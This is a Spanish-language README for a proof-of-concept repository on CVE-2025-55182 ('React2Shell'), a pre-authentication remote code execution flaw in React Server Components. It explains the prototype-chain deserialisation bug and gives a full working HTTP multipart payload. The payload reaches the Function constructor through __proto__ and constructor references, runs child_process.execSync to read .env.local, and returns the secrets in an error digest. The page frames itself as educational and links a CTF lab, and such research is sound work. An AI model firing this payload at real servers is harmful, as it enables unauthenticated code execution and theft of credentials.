Este repositorio contiene un PoC de CVE-2025-55182, una vulnerabilidad crítica (puntuación CVSS 10.0) de ejecución remota de código previo a la autenticación que afecta a React Server Components, también conocida como React2Shell.
⚠️ ADVERTENCIA: Este repositorio es solo para fines educativos e investigación de seguridad. No use este exploit contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
Este repositorio contiene una demostración de prueba de concepto de CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código sin autenticación previa que afecta a React Server Components.
Puntuación CVSS: 10.0 (Crítica)
Versiones afectadas:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 es una vulnerabilidad de deserialización insegura en la implementación del protocolo Flight de React Server Components. La vulnerabilidad permite a atacantes no autenticados ejecutar código JavaScript arbitrario en el servidor mediante la creación de cargas maliciosas que explotan el recorrido de la cadena de prototipos y patrones inseguros de acceso a propiedades.
La vulnerabilidad surge de cómo React Server Components deserializa las cargas del protocolo Flight. Al procesar referencias a módulos, el código utiliza la notación de corchetes para acceder a propiedades (moduleExports[metadata[2]]), lo que recorre toda la cadena de prototipos de JavaScript. Esto permite a los atacantes hacer referencia a propiedades que no fueron exportadas explícitamente, incluyendo la propiedad constructor, que proporciona acceso al constructor global Function.
Al encadenar técnicas de contaminación de prototipos con los mecanismos internos de procesamiento de fragmentos de React, un atacante puede construir una carga que finalmente ejecute código arbitrario a través del constructor Function.
Cree un nuevo proyecto usando una versión que incluya los React Server Components vulnerables:
npx [email protected] poc-react2shell
cd poc-react2shell
O use este repositorio.
Cree un archivo .env.local en la raíz del proyecto para demostrar el impacto de la vulnerabilidad:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Inicie el servidor de desarrollo de Next.js:
npm run dev
El servidor debería iniciarse en http://localhost:3000.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
La respuesta debería contener el contenido de su archivo .env.local en el cuerpo de la respuesta:

La carga consiste en tres campos de formulario multipart:
$1:__proto__:then)$B1337) que desencadena el exploit_response contaminado con _prefix y _formData.get maliciosos$@0)[])El código malicioso en _prefix lee .env.local usando child_process.execSync de Node.js e incrusta el resultado en un resumen de error.
Esta vulnerabilidad permite a los atacantes:
Practique este CVE en un escenario real
¿Quiere explotar CVE-2025-55182 en un entorno CTF práctico? Eche un vistazo a OSS OopsSec Store, un laboratorio deliberadamente vulnerable diseñado para entrenamiento en seguridad ofensiva. ¡Este CVE está implementado como una de las banderas!
Esta prueba de concepto se proporciona solo con fines educativos e investigación de seguridad. Siempre asegúrese de tener permiso explícito por escrito antes de probar vulnerabilidades de seguridad en cualquier sistema.